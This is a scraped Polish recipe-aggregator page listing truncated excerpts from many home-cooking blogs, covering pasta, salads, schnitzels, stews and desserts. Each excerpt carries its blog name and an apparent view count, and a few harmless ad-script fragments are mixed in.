wiórek kokosowych 2 czubate łyżeczki błonnika kakaowego 4 łyżeczki cukru 0,5 łyżeczki proszku do pieczenia 1 jajko Nadzienie: ok. 9 łyżek dżemu truskawkowego Do dekoracji: Bita śmietana  Sos czekoladowy Kolorowa posypka Przepis: Składniki suche mieszamy ze sobą, następnie dodajemy składniki mokre i mieszamy aż powstanie masa (najlepiej bez grudek). Następnie ciasto umieszczamy w pojemniku plastikowym o średnicy

Emcia Pichci
Serowe placuszki z cukinii 194

Składniki na 6 placuszków: 300g cukinii 5 łyżek sera żółtego startego 2 łyżki otrąb mielonych pszennych 1 łyżka błonnika owsianego 2 łyżki mąki pszennej 1 jajko 1 łyżka sosu sojowego Odrobina czerwonej ostrej papryki, ziół prowansalskich i sól Dip: 1 ogórek gruntowy 150g jogurtu greckiego Sól, pieprz Przepis: Cukinię obieramy i trzemy na grubych oczkach na tarce. Posypujemy lekko solą

Emcia Pichci
Niedzielne śniadanie 200

oregano. Obieramy pieczarkę i kroimy w plasterki, następnie układamy na chlebku. Przykrywamy całość plastrami szynki i wsadzamy do piekarnika na 10 minut w 150C.  Kanapki możemy polać ulubionymi sosami

Emcia Pichci
Recenzja książki "Kawa - sekrety baristy" 162

warte. W książce zostały przedstawione "krok po kroku" wraz ze zdjęciami, etapy przygotowywania przeróżnych wzorów - od standardowego serduszka czy paprotki po najróżniejsze ich wariacje z sosem czekoladowym i innymi dodatkami. Jedynym ograniczeniem w tworzeniu wzorów jest nasza wyobraźnia ( Sky is the limit ). Wzorem, który mnie osobiście zauroczył jest Pac Man zjadający duszka i trupia czaszka :) Następny

Emcia Pichci
Schabowy nudny? No way! Pyszny obiadek ;) 269

plastry schabu 1 op. suszonych ziemniaków Panierka: 1 jajko ok. 50g płatków kukurydzianych Sól, pieprz Do puree: 1 łyżka masła Surówka: 1/4 kapusty pekińskiej 1 marchewka 1 łyżeczka sosu sojowego 2 łyżeczki octu balsamicznego 1 łyżeczka cukru Sól, pieprz Przepis: Suszone ziemniaki wrzucamy do osolonej wody i gotujemy ok. 25minut. W międzyczasie rozbijamy kotlety, przyprawiamy je i maczamy w jajku

Emcia Pichci
Papirusowe burgery 236

minut). Po usmażeniu przekrawamy ją na dwie części. Bułkę do burgera smarujemy połączonym majonezem z ketchupem nakładamy liść sałaty, kurczaka, ser, cebulkę, pomidora, ogórka i ponownie nakładamy nasz sos majonezowo-ketchupowy. Zdrowsza wersja bez ociekających tłuszczem kotletów i do tego ekspresowe wykonanie, mniam

Emcia Pichci
Makaron a'la carbonara 207

zarumienienia. W osobnej miseczce żółtka łączymy z serkiem mascarpone, żółtym serem (startym na grubych oczkach) i przyprawami. Gdy boczek z cebulką jest przysmażony dodajemy do niego odcedzony makaron i sos. Wszystko dokładnie mieszamy na patelni na małym ogniu przez ok. 5 minut.  insertCookd("bd4ec81d5fa970aac464abd21795d43b

Emcia Pichci
Papirusowa przekąska 290

Składniki: 1 szt. "Pomysł na... Papirus" z papryką Winiary 2 kromki chleba tostowego pełnoziarnistego Sos: 1 łyżka ketchupu 1 łyżeczka majonezu Przepis: Kromki chleba układamy w Papirusie na rozgrzanej patelni. Smażymy z każdej strony po ok. 2 minuty (do zarumienienia). W międzyczasie ketchup łączymy z majonezem i podajemy do ciepłych (przekrojonych na pół) tostów. Bardzo szybka i wyrazista w smaku

Emcia Pichci
Sałatka z tuńczykiem 387

Składniki: 1 szklanka kaszy kuskus (nieugotowanej) 1 szklanka wrzącej wody 1 puszka kukurydzy 1 puszka tuńczyka w sosie własnym 4 ogórki konserwowe 3 łyżki majonezu Sól, pieprz - do smaku Przepis: Kaszę kuskus przesypujemy do garnuszka i zalewamy wrzątkiem. Garnuszek zakrywamy pokrywką i odstawiamy na 5 minut. Po tym czasie kasza kuskus jest już gotowa. Przekładamy ją do większej miski

Emcia Pichci
Makaron penne z papryką 255

minut ciągle mieszając. Następnie dodajemy pokrojoną w kostkę paprykę. Po ok. 10 minutach dodajemy pomidory z puszki i doprawiamy całość do smaku. Dusimy wszystko przez kolejne 10 minut. Sos nakładamy na makaron i gotowe! insertCookd("76759c7101db2b19ed01292289cfade0

Emcia Pichci
Śniadaniowa tortilla 203

Składniki na 1 sztukę: 1 gotowy placek tortilli pszennej 2 jajka 2 liście sałaty  1 łyżeczka masła 3 plastry pomidora 4 plasterki ogórka 1 plasterek szynki Sól, pieprz Sos: 1 łyżka majonezu 1 łyżka ketchupu Przepis: Rozgrzewamy masło na patelni i wbijamy jajka. Doprawiamy je solą i pieprzem i mieszamy cały czas widelcem aż się zetną. W miseczce łączymy

Emcia Pichci
Szaszłyki z piekarnika 238

kolejności. Piekarnik nagrzewamy do 180 C i pieczemy szaszłyki na kratce przez ok. 25-30 minut.  Doskonale smakują w towarzystwie ryżu lub świeżego pieczywa. Polecam podawać szaszłyki z sosem czosnkowym

Emcia Pichci
Oscypkowe miseczki wypełnione rukolą, suszonymi pomidorami i włoskimi orzechami 216

miseczki. Chwilę odczekać, aż ostygną.  Wypełnienie miseczek to sałatka z porwanej rukoli, pokrojonych orzechów włoskich i pomidorów suszonych w oliwie, kawałków sera cheddar, a wszystko to otulone delikatnym sosem na bazie oliwy z oliwek, soku z cytryny oraz soli i pieprzu. Smacznego

Moja smaczna kuchnia
Sałatka z grillowanej cukinii z mozzarellą i pomidorkami cherry 206

rozgniatamy widelcem. Pomidorki czereśniowe myjemy, osuszamy i kroimy na pół. Dodajemy do miseczki. Cuknię dodajemy do pomidorków razem z serem mozzarella pokrojonym w drobną kosteczkę oraz rozgniecionym czosnkiem. Polewamy sosem z 2 łyżek oliwy z oliwek extra vergine, szczypty oregano i suszonych pomidorów z bazylią i czosnkiem oraz szczyptą soli i pieprzu

Moja smaczna kuchnia
Ratatuja z bobem 186

plasterki czosnku, gdy zacznie pachnieć dodajemy bakłażana, gdy będzie miękki, dodajemy kolejno cukinię z papryką, a po chwili pomidory. Doprawiamy oregano, solą i pieprzem i czekamy aż pomidorowy sos zgęstnieje. Gasimy płomień, dodajemy bób i delikatnie mieszamy. Podajemy z chrupiącą bagietką lekko ostudzone

Moja smaczna kuchnia
Duszone warzywa z włoskim serem mozzarella 228

oliwy.  Gdy kuchnię wypełni aromat czosnku wrzucamy cukinię i paprykę, mieszamy, dusimy kilka minut, gdy będą al dente dodajemy pomidory oraz przyprawiamy, mieszamy. Czekamy 25-30 minut, aż sos pomidorowy zrobi się gęsty, a warzywa nabiorą wspaniałego smaku ziół. Danie podajemy natychmiast z serem mozzarella pokrojonym w kostkę, ułożonym na wierzchu. Ser pięknie rozpływa się na warzywach, buon appetito

Moja smaczna kuchnia
Gulasz warzywny z cukinią, papryką, cebulą i pomidorami 201

dodajemy paprykę słodką w proszku, mieszamy, wrzucamy warzywa: cukinię z papryką, doprawiamy i dusimy na małym ogniu przez 10 minut.  Po tym czasie dodajemy pomidory pelati wraz z sosem,  peperoni, mieszamy i dusimy jeszcze kwadrans. Danie podajemy zaraz po przygotowaniu

Moja smaczna kuchnia
Kalafior z cukinią w pomidorach z oregano i chilli z cayenne na kuskusie 198

siekamy, a pomidory z cukinią kroimy w kostkę.  Na oliwie podsmażamy przez minutę czosnek, dodajemy następnie cukinię i pomidory, przecier pomidorowy, dusimy na małym ogniu, aż powstanie gęsty sos, na koniec wrzucamy ugotowane różyczki kalafiora, dodajemy oregano, chilli z cayenne i doprawiamy do smaku solą i pieprzem, mieszamy i na małym ogniu pozostawiamy 5 minut, aż całość się ładnie

Moja smaczna kuchnia
Młode ziemniaczki w mundurkach zapiekane z cukinią i pomidorem 307

cukinii oraz obranego pomidora pokrojonego w kostkę, suszone oregano i doprawiamy do smaku. Wszystko starannie mieszamy, najlepiej rękami, zapiekamy 20 minut.  Podajemy zaraz po wyjęciu z piekarnika. Sos pozostały na dnie formy, czosnkowo-pomidorowy możemy w powodzeniem "zebrać" ulubionym pieczywem

Moja smaczna kuchnia
Warzywa śródziemnomorskie z kuskusem posypane szczypiorkiem 266

umytą i osuszoną, pokrojoną w kostkę cukinię oraz paprykę.  Dusimy, aż warzywa zmiękną. Następnie dodajemy umyte, osuszone, pokrojone w kostkę pomidory i oregano przyprawiamy, mieszamy.  Dusimy, aż sos zgęstnieje. Warzywa podajemy na kaszy kuskus z posiekanym szczypiorkiem

Moja smaczna kuchnia
Duszone warzywa śródziemnomorskie 177

pachnieć, dodajemy umytą i osuszoną, pokrojoną w kostkę cukinię oraz paprykę. Dusimy, aż warzywa zmiękną. Następnie dodajemy umyte, osuszone, pokrojone w kostkę pomidory i oregano przyprawiamy, mieszamy. Dusimy, aż sos zgęstnieje

Moja smaczna kuchnia
Smaki Turcji: papryka faszerowana 305

skórkę, zetrzeć na grubej tarce i poddusić w osobnym garnku ok. 5 minut. Następnie pomidory dodać do mięsa razem z przecierem pomidorowym. Połączyć składniki i poddusić jeszcze chwilę, aby sos zgęstniał. Przygotować papryki: usunąć rdzeń i gniazda nasienne, a następnie umieścić w naczyniu żaroodpornym. Do masy mięsnej dodać ugotowany ryż, każdą paprykę wypełnić farszem, przykryć wierzchołkami. Piec przez 45 minut

Gorący kąsek
Spaghetti z kurkami a la mąż 220

groszek. Gotujemy około 5 min. Płuczemy kurki z marynaty. Kroimy paprykę. Dodajemy do garnka i gotujemy dalsze 3 min. Doprawiamy solą ,pieprzem i papryką. Dodajemy serki topione do zagęszczenia sosu. Wyłączamy po rozpuszczeniu serków. Gotujemy makaron spaghetti. Życzę Wam smacznego

Smaki Edyty
Domowy hamburger 267

Grillowany kotlet drobiowy (równie dobrze może być z mięsa wołowego) z roztopionym serem na wierzchu. Do tego grillowana cebulka i warzywa z pysznym sosem jak dla mnie najlepszym. Co tu dużo mówić… zapraszam do wykonania w swojej kuchni. Post Domowy hamburger pojawił się poraz pierwszy w Marta Gotuje

Marta Gotuje
Deser truskawkowy z mascarpone 330

Wpis pochodzi z www.mgotuje.pl Deser truskawkowy z mascarpone to połączenie skruszonych herbatników z sosem truskawkowym i śmietaną z mascarpone. Bardzo szybki w wykonaniu. Można go przygotować w sezonie ze świeżych truskawek jak i z mrożonych w porze zimowej. Post Deser truskawkowy z mascarpone pojawił się poraz pierwszy w Marta

Marta Gotuje
Kostka wiśniowa 375

Wpis pochodzi z www.mgotuje.pl Kostka wiśniowa to przekładane ciasto kakaowymi blatami z kremem z wiśni (poza sezonem można użyć mrożonych). Całość udekorowana jest czekoladowym sosem z dodatkową wiśnią na każdej kostce. Ciasto wyszło pyszne, rozpływające się w ustach. Wiśnie i czekolada to idealne połączenie smakowe. Post Kostka wiśniowa pojawił się poraz pierwszy

Marta Gotuje
Fasolowa sałatka z pesto 371

dokładnie wymieszać. Potem rozkruszyć fetę i ponownie dokładnie wymieszać i gotowe. Pyszna i prosta sałateczka, wspaniale smakuje na zimno z fasolką prosto z lodówki. Polecam też: Fasolkę szparagową w sosie pomidorowym

Monia miesza i gotuje
Pierogi z jabłkami #jedzjabłka 277

naczyniem koła i dodajemy po ok. łyżeczce farszu (zależności od wielkości kół). Dokładnie zlepiamy. Do gotującej się i lekko osolonej wody wrzucamy pierogi i gotujemy ok. 4-5 minut. Sos do polania pierożków robimy według swoich upodobań. Ja polecam z jogurtem naturalnym cynamonem. W moim przypadku dodałam resztki musu jabłkowego. Smacznego

Truskawkowa Fiesta
Włoska sałatka z tuńczykiem! FIT LUNCH BOX! 912

prosty lunch box do pracy, który możecie przygotować rano przed pracą. Nie zajmie to Wam więcej niż 10 minut. SKŁADNIKI: - 3 łyżki kaszy kuskus - 1/3 puszki tuńczyka w sosie własnym - 10 pomidorków czerwonych daktylowych - zioła toskańskie - świeże liście bazylii - sól himalajska - kilka kropel oliwy z oliwek - 1/2 łyżeczki soku z cytryny (adsbygoogle = window.adsbygoogle || []).push({}); Kaszę wsyp do szklanki zalej wrzątkiem

SMYKWKUCHNI
Kotlety schabowe w panierce z płatków owsianych 215

panierce z płatków owsianych Składniki 2 grube plastry schabu 1 jajko ¼ szklanki mąki pszennej ½ szklanki płatków owsianych ¼ szklanki bułki tartej sól, pieprz mielona ostra papryka czosnek granulowany łyżka sosu sojowego łyżka masła olej Zawijamy mięso w folię, lub woreczek jednorazowy. Kotlety rozbijamy tłuczkiem. Przyprawiamy. Przygotowujemy panierkę. Mieszamy płatki owsiane z bułką tartą. Do miski wbijamy jajo, roztrzepujemy widelcem. Przesypujemy mąkę

Mania Gotowania
Rolady ze śliwką 213

około 8 cienkich plastrów szynki dojrzewającej (np. szwardzwaldzkiej) lub boczku ·        zioła prowansalskie ·        łyżka sosu sojowego jasnego ·        papryka czerwona ·        sól, pieprz ·        oliwa z oliwek Przygotowanie: Kotlety schabowe dość cienko rozbić, przyprawić

Mania Gotowania
Pierś z kurczaka po włosku 413

włosku         Składniki: 2 piersi z kurczaka 6 plastrów szynki włoskiej ser mozzarella w kulce lub w kostce zioła prowansalskie 2 pomidory tymianek 1 łyżka sosu sojowego czosnek granulowany papryka ostra pieprz Przygotowanie: Pierś z kurczaka przekrajmy wzdłuż, tak aby uzyskać z każdej dwa kotlety. Przyprawiamy i odstawiamy na bok. Pomidory oraz ser kroimy w plastry. Szynkę

Mania Gotowania
Meksykańska uczta, czyli fajitas z kurczaka i quesadilla z chili + test nowości do potraw meksykańskich firmy Delecta i Pryma 416

najbardziej mogę go wszystkim polecić. Jest dość ostry, ale naprawdę bardzo smaczny i dobrze doprawiony. Idealnie nada się do nachosów czy domowych hamburgerów. Jak wszystkie tego typu sosy jest prosty w przygotowaniu. Ja osobiście zmniejszyłam o połowę ilość wody podaną na opakowaniu (zastąpiłam ją nieco większą ilością keczupu). Dip zagości na pewno na moim stole jeszcze nie raz. Chętnie sięgnę

Mania Gotowania
Placuszki z kurczaka pieczarkami i papryką 455

kurczaka 8-9 pieczarek ½ papryczki chili 1/3 papryki  1 jajko 2 łyżki mąki pszennej 2 łyżki mąki kukurydzianej 2 łyżki parmezanu ½ szklanki startego sera żółtego 1 łyżka sosu sojowego ½ łyżeczki ziół do drobiu 1 łyżeczka przyprawy do gyrosa sól i pieprz do smaku olej rzepakowy Przygotowanie: Oddzielamy białka od żółtek. Białka ubijamy na sztywną pianę. Kurczaka kroimy w bardzo

Mania Gotowania
Makaron z tuńczykiem i czerwonym pesto 250

pesto         Składniki: 250 g makaronu np. świderki (używam pełnoziarnistego lub makaronu z pszenicy durum) 150 g szynki parmeńskiej lub innej dojrzewającej 1 puszka tuńczyka w sosie własnym 8 pomidorków koktajlowych 10 czarnych oliwek 2 garści rukoli 50 g parmezanu 1 łyżeczka ziół prowansalskich pieprz Pesto z tego przepisu: http://durszlak.pl/akcje-kulinarne/makaron-kreatywnie Można użyć oczywiście gotowego

Mania Gotowania
Kurczak w marynacie Jerk 232

łyżki oliwy 1 łyżka soku z limonki 1/2 posiekanej papryczka chili sól i świeżo zmielony pieprz 1/3 łyżeczki imbiru 1 łyżka octu winnego 2 łyżki rumu 1 łyżka sosu sojowego Przygotowanie : Kurczaka myjemy i dzielimy na porcje. Przygotowujemy marynatę: wszystkie jej składniki wkładamy do miski i ugniatamy widelcem, aż masa będzie miała konsystencję pasty. Można również włożyć wszystko do blendera

Mania Gotowania
Szaszłyki z piersi kurczaka z ananasem 304

duża pierś z kurczaka około 7 plastrów ananasa z puszki Marynata: pół szklanki jogurtu greckiego 1 łyżka oliwy 1 łyżeczka czosnku granulowanego 2 łyżeczki curry ½ łyżeczki kurkumy 1 łyżka sosu sojowego 1/4 łyżeczki pieprzy cayenne pieprz Przygotowanie: Pierś kroimy w dość dużą kostkę. Składniki marynaty łączymy ze sobą i łączymy z mięsem. Mieszamy dokładnie i odstawiamy na minimum 30 minut

Mania Gotowania
Rolady ze schabu z żurawiną i serem camembert 336

Rolady ze schabu z żurawiną i serem camembert Składniki: 4 kotlety ze schabu około 4 łyżki suszonej żurawiny 4 grubsze plastry sera camembert lub brie zioła prowansalskie łyżka sosu sojowego jasnego papryka czerwona sól, pieprz oliwa z oliwek Przygotowanie: Kotlety schabowe dość cienko rozbić, przyprawić i odstawić na 30 minut do lodówki. Nadziać żurawiną i serem. Zrolować ściśle. Naczynie

Mania Gotowania
Mizza, czyli mięsna pizza 236

startego parmezanu 3 łyżki bułki tartej lub płatków owsianych 1 duże jajko natka pietruszki 1 ząbek czosnku przeciśnięty przez praskę 1 łyżeczka oregano 1 łyżeczka bazylii pieprz 1 łyżeczka sosu worhestershire 1 łyżeczka ziół prowansalskich Dodatkowo: 2 duże pomidory 7 pieczarek 4-5 suszonych pomidorów 1 łyżka oliwy około 60 g startego sera żółtego lub 1 kulka mozzarelli

Mania Gotowania
Mój sposób na idealne rolady z kurczaka 407

Zapraszam do wypróbowania. Mój sposób na idealne rolady z kurczaka Składniki na około 4 rolady: 2 piersi z kurczaka 1 ząbek czosnku wyciśnięty przez praskę zioła prowansalskie 1 łyżka sosu worhestershire ½ łyżeczki rozmarynu ½ łyżeczki słodkiej papryki sól, pieprz Farsz: około 4-5 pieczarek 3-4 suszone pomidory z zalewy (osączonych) ¼ papryczki chili 4-5 cm. kawałek kiełbasy chorizo kulka sera

Mania Gotowania
Drożdżowe pierogi smażone z kurczakiem tandoori 283

olej do smażenia Farsz: 1 pierś z kurczaka 1/2 cebula 5-6 pieczarek ½ pęczka świeżej kolendry (opcjonalnie) 100 g sera żółtego 1 łyżka przyprawy bombay masala (np. firmy Kotani) Sos czosnkowy: ½ szklanki jogurtu greckiego 2 łyżki majonezu 1 ząbek czosnku przeciśnięty przez praskę 1 łyżeczka soku z limonki sól, pieprz Przygotowanie: Najpierw przygotowujemy ciasta. Drożdże rozcieramy z cukrem, następnie zalewamy

Mania Gotowania
Chrupiące skrzydełka z kurczaka w glazurze pomarańczowej 231

smak. Zapraszam na przepis. Chrupiące skrzydełka z kurczaka w glazurze pomarańczowej Składniki: 12 skrzydełek z kurczaka 1 łyżeczka ostrej papryki 1 łyżeczka curry ½ łyżeczki pieprzu cytrynowego 2 łyżki ciemnego sosu sojowego 1 łyżka oregano 1 łyżeczka czosnku granulowanego 1 łyżeczka słodkiej papryki 1 duże jajko ½ szklanki mąki ziemniaczanej 1,5 szklanki pokruszonych płatków kukurydzianych sól i pieprz 4 łyżki masła

Mania Gotowania
Marokańska zupa z soczewicą 199

jeszcze nie raz. Przepis oryginalny zaczerpnięty został z bloga White Plate. Marokańska zupa z soczewicą Składniki: 1 cebula 1 duża pojedyncza pierś z kurczaka (lub 2 małe) 1 łyżka sosu sojowego oliwa z oliwek 1 ząbek czosnku 3/4 łyżeczki cynamonu 1/2  łyżeczki pieprzu cytrynowego 1/2 łyżeczki utłuczonego kminu indyjskiego lub rzymskiego 1/2 łyżeczki mielonej kolendry 400 g pomidorów

Mania Gotowania
Kaszanka zapiekana z cebulą w cieście francuskim 309

niej kaszankę (wyjmujemy wcześniej z lodówki by miała temperaturę pokojową). Zwijamy ciasto tak by powstały trójkąty. Wstawiamy kaszanki do piekarnika na 15-20 minut aż będą rumiane. Sos: Na patelni bez tłuszczu, na małym ogniu podgrzewam musztardy i śmietany aż zgęstnieją. Podajemy z ogórkami małosolnymi mamy Eli . Smacznego

OstryKęs
Placuszki pszenno-żytnie z cytrynowym przytupem - Pomysł na śniadanie. 315

Chyba polubiliście te moje poranne zdjęcia i dostałam kilka próśb o przepisy. Odmówić nie mogłam zwłaszcza, że prośba popłynęła od mojej stałej czytelniczki. Dziś pyszne placuszki z niemniej pysznym sosem. Czytaj więcej

Farmażony
PUDDING CHIA 451

próbowali, polecam, u nas zasmakował wszystkim, bez wyjątku. Idealny ze świeżymi, sezonowymi owocami. I co bardzo istotne w takie upały, nie wymaga gotowania. Polecam również deser chia z sosem truskawkowym Składniki na 4 porcje: - 5 pełnych łyżek nasion chia* - 400ml mleka ryżowego (lub dowolnego innego roślinnego) - 1 łyżka syropu z agawy (lub płynnego miodu) - świeże owoce (dowolna ilość i rodzaj

Smaczne Zdrowe
Spinat, spinach, szpinak. 223

wlewamy śmietanę i serek kozi. Doprawiamy odrobina soli i cukru. Ja pieprzę dość sporo, świeżo zmielonym pieprzem. Gotujemy makaron al dente w osolonej wodzie ...i łączymy go z szpinakowym sosem Gotowe! Prawda że proste i szybkie

Olikowa kuchnia
Zapiekanka makaronowa z bakłażanem i groszkiem. 232

gotujemy makaron, oczywiście al dente Gdy cebulka się zeszkli dodajemy śmietankę (18% - 36%) i dodajemy sery Na koniec dodajemy groszek Doprawiamy obficie kolorowym, świeżo zmielonym pieprzem i odrobiną soli Sos łączymy z makaronem i przekładamy do formy. Następnie układamy warstwę bakłażana  i zalewamy wszystko beszamelem Wstawiamy do piekarnika na 180-200st  na 30-40min, żeby beszamel

Olikowa kuchnia
Piątkowo - naleśnikowo - cynamonowo 181

Naleśniki nadają się od razu do zjedzenia lub też można podsmażyć je na maśle lub zapiec w piekarniku. Można również do farszu zamiast cukru cynamonowego dodać rodzynki lub zrobić sos malinowy lub truskawkowy. (przepis niebawem na blogu

Olikowa kuchnia
Rolada drobiowa i serowe kulki z bułki 267

dodaje do masy. Dobrze mieszamy. Wilgotnymi dłońmi formujemy z ciasta kuleczki o śr.ok. 5 cm Układam w parowarze i gotujemy ok 25 min. Kuleczki możemy podawać z różnymi sosami, masłem i parmezanem

Olikowa kuchnia
Zupa z pieczonych pomidorów 247

Taaadaaammmm! Sezon na pomidory rozpoczęty! Niebawem zabiorę się za przetwory pomidorowe: ketchupy, koncentraty, sosy... Z racji tego, że pojawiły się moje ulubione pomidory malinowe postanowiłam je...upiec i zrobić zupkę! Składniki: 1 kg pomidorów malinowych 4 ząbki czosnku 1 łyżka cukru 1/2 łyżki soli pieprz 2 łyżki oliwy z oliwek 1 l bulionu  kolendra grzanki z serem Pomidory myjemy

Olikowa kuchnia
Kurczak cajun z szparagami 339

śmietane, dodajemy szparagi szczypior I papryke, wsypujemy przyprawy. Trzymamy na ogniu od zagotowania ok 2 min . Gotowe. W międzyczasie gotujemy makaron-np tagliatelle. Makaron odcedzamy I mieszamy z połową sosu. ( Druga część na drugi dzień) :) Smacznego

Smaki Edyty
Kurczak w skorupie z masy solnej pieczony w żarze w ognisku 367

grubość około 1 cm. Na rozwałkowanym cieście układamy kurę, zwijamy brzegi ciasta i bardzo dokładnie sklejamy. Pakunek powinien być całkowicie szczelny tak by mięso mogło piec się we własnym sosie. Kurczaki w soli umieszczamy na żarze i pieczemy 3 godziny. Kula którą wyjmiemy z żaru będzie czarna i twarda. Uwaga. Otwierając pakunek należy użyć rękawic żaroodpornych i uważać ponieważ uwolni

OstryKęs
PEKLOWANA KARKÓWKA Z JAŁOWCEM I ROZMARYNEM - PIECZEŃ 266

mięso będzie bardziej wilgotne (np. jako wędlina na kanapki) , można w połowie pieczenia odkryć, będzie bardziej chrupiące (jako pieczeń do obiadu). Oczywiście otrzymany wywar możecie wykorzystać jako bazę do sosu. Rewelacja! ;-) Mięso w taki sposób możecie wykorzystywać jako wędlinę na kanapki, lub jako pieczeń na obiad ;-) Mam nadzieję, że przypadnie Wam do gustu ;-) pozdrawiam cieplutko i życzę Smacznego ;-))))) P.S. Kochani

SMYKWKUCHNI
PRZEPIS NA MIZERIĘ Z OGÓRKÓW 597

koperek na wierzch do przybrania ogórki zielone 3 sztuki Ogórki obieramy, na szatkownicy kroimy na plasterki. Plasterki mieszamy z solą aby zmiękły po około 30 minutach, płukamy ogórki. Zalewamy sosem z w/w składników, przybieramy koperkiem.    Gotowe! Smacznego

SMYKWKUCHNI
Kapusta pekińska- kuchnia chińska 319

tamtych zakątków świata. Kapustę przyrządzałam już na kilka sposobów, według kilku przepisów, będę je sukcesywnie zamieszczać ;-) Serdecznie polecam! składniki kapusta pekińska cebula pokrojona wzdłuż na cienkie kawałeczki łyżka miodu sos sojowy jasny słodki ocet ryżowy por zielona część około 5cm długości chili przyprawa KOTANYI SECRETS OF ASIA A LA KANTON (mieszanka przypraw do kuchni chińskiej), przyprawa jest rewelacyjna i nadaje

SMYKWKUCHNI
DANIA Z WOKA - kurczak w mleczku kokosowym, brokuły z krewetkami, kapusta pekińska po chińsku, warzywa po azjatycku! 311

znajduje się już na blogu 4. Warzywa po azjatycku przepis: cebulę, marchewkę, cukinię i koper włoski -fenkuł, kroimy w długie słupki, smażymy w woku, dodajemy przeciśnięty ząbek czosnku, chili, sos sojowy ciemny, łyżeczkę octu ryżowego, przyprawę - "KOTANYI -Przyprawa do WOK dań Kuchni Azjatyckiej", pod sam koniec dodajcie odrobinę oleju sezamowego. 5. Makaron typu chińskiego (zamieszczam opakowanie)  Wszystkie potrawy podajemy

SMYKWKUCHNI
Placki z dynią przyprawione kardamonem i cynamonem - CZAS NA DYNIĘ 239

łyżki cukru - cynamon i kardamon - pieprz - jajko całe i 1 białko Dynię ścieramy na tarce, mieszamy za pomocą łyżki z pozostałymi składnikami. Smazymy na gorącym oleju. Podajemy z sosem śmietanowo- żurawinowym Śmietanę 30% mieszamy z łyżką jogurtu naturalnego, wlewamy do pojemniczka, na środek układamy dużą łyżkę konfitury z żurawin. Pycha! Smacznego! Zapraszam do polubienie mnie na FB! Akcja kulinarna

SMYKWKUCHNI
Tajska zupa kokosowa z krewetkami 193

kokosowa, ostra, aromatyczna i bardzo smaczna, z dodatkiem chili, mleczka kokosowego i krewetek koktajlowych. Składniki: 2 papryczki drobno posiekane 2 ząbki czosnku wyciśnięte 2 łyżeczki posiekanego imbiru 4 łyżki sosu rybnego sok z połówki limety 250 g krewetek puszka mleczka kokosowego chiński makaron (biały cienki) tajska pasta curry (bardzo ważny składnik) kostka rosołowa Do garnka wkładamy wszystkie składniki oprócz krewetek

SMYKWKUCHNI
Spaghetti z łososiem i cukinią - najlepsze! 356

minut, na sam koniec dodajemy pokrojonego w kostkę łososia, przykrywamy patelnie pokrywką dusimy około 5 minut. Po tym czasie zdejmujemy pokrywkę, dodajemy 150 ml śmietanki, doprawiamy, odparowujemy tak aby sos zgęstniał - 5 min. Na sam koniec dodajemy natkę i sok z cytryny, delikatnie mieszamy! Pychota

SMYKWKUCHNI
Quiche warzywne 272

nakłuwać ciasto widelcem, podpiekamy 10 minut.  Wierzch: papryka czerwona cebula dymka 300 g pieczarek mozzarella chili zielone kawałeczek pora Wszystkie składniki (oprócz sera) wykładamy na podpieczony spód, zalewamy sosem przygotowanym z 250 ml śmietanki (30%) i roztrzepanych dwóch jajek, doprawionego solą i pieprzem. Pieczemy kolejne 35 minut. Na 2 minuty przed końcem czasu układamy plasterki mozzarelli. Smacznego! Zapraszam

SMYKWKUCHNI
Łosoś z puree szpinakowym i brokułowym - czyli zielono mi ;-))) 217

uprażonych (np w piekarniku) - łyżka miodu - łyżka octu balsamicznego (najlepiej z Modemy) - 2 łyżki oliwy z oliwek niefiltrowanej Orzechy i pozostałe składniki do dresingu miksujemy w blenderze na gładki sos. Polewamy sałatę. Łososia przygotowujemy na parze z plastrem cytryny. Smacznego! Pozdrawiam wszystkich stałych odwiedzających! Dajcie znać w komentarzach jestem ciekawa ilu WAS jest! Buziaki!!! Miłego Dnia

SMYKWKUCHNI
Sałatka z tortellini, szynką i prawdziwkami! 239

Składniki: - tortellini grzybowe (ugotować) - 5 grubych plastrów szynki (pokroić w kosteczkę) - czarne oliwki - 4 jajka ugotowane (pokroić w kosteczkę) - puszka kukurydzy - słoik marynowanych prawdziwków (pokroić) - sos: 50% majonezu i 50% jogurtu greckiego - sól i pieprz Wszystkie składniki mieszamy wstawiamy na min. 3 godziny do lodówki by smaki się połączyły.  Polecam na rodzinne spotkania i imprezy

SMYKWKUCHNI
Kurczak słodko- kwaśny z ananasem 327

żaroodporne smarujemy masłem i olejem, układamy kurczaka, koncentrat pomidorowy mieszamy z 3 łyżkami zalewy z ananasa, dodajemy przeciśnięty czosnek i pokrojonego w kostkę ananasa, doprawiamy solą; zalewamy tak przygotowanym sosem kurczaka. Pieczemy 50 minut w temp. 180 stopni C.  Smacznego

SMYKWKUCHNI
Sałatka z kurczakiem i ananasem 1581

ananasa (ewent. z puszki) - majonez i jogurt naturalny - czerwona papryka - kukurydza (1 puszka) - 4 jajka ugotowane na twardo - sól i pieprz do smaku Wszystkie składniki kroimy w kostkę, dodajemy sos jogurtowo-majonezowy. Wstawiamy do lodówki na minimum 3 godziny przed podaniem.  Smacznego! Więcej przepisów na sałatki znajdziesz  TUTAJ ZAPRASZAM

SMYKWKUCHNI
Kluski śląskie - przepis 226

miejsce wsypujemy mąkę ziemniaczaną, mieszamy z pozostałymi ziemniakami wbijamy jaja. Gotujemy w osolonej wodzie. Po wypłynięciu klusek gotujemy około 3-4 minuty wyjmujemy łyżką cedzakową.  Podajemy najlepiej z sosem. Smacznego

SMYKWKUCHNI
Sałatka z kurczakiem, serem feta i ananasem - najlepsza na imprezy! 6515

feta- opakowanie - ananas (1 puszka) - 100 g ryżu kolorowego (z dzikim) - puszka czerwonej fasoli - majonez + jogurt naturalny - sól i pieprz do smaku Wszystkie składniki łączymy ze sobą, doprawiamy sosem majonezowo- jogurtowym. Wstawiamy do lodówki na minimum 2 godziny. Smacznego! spróbuj też: Sałatka z kurczakiem i ananasem Sałatka z tortellini PO WIĘCEJ INSPIRACJI ZAPRASZAM NA FB SMYKWKUCHNI

SMYKWKUCHNI
Pieczone jabłko z bezą i dodatkami.... hmmm ;-) 230

brązowego cukru - 2 łyżki płatków migdałowych - 1,5 łyżeczki mąki ziemniaczanej Białko ubijamy z solą, na sztywną pianę, dodajemy cukier i mąkę ziemniaczaną. Dodajemy płatki migdałowe. Wykładamy na jabłko. Sos do polania: - 2 łyżki syropu różanego - cynamon, kardamon, cukier brązowy Wszystko ucieramy w moździerzu. Polewamy po upieczeniu jabłko i dookoła.  Przepyszny deser! Polecam! Zapraszam na SmykWKuchni na Facebooka

SMYKWKUCHNI
Placuszki dyniowe 256

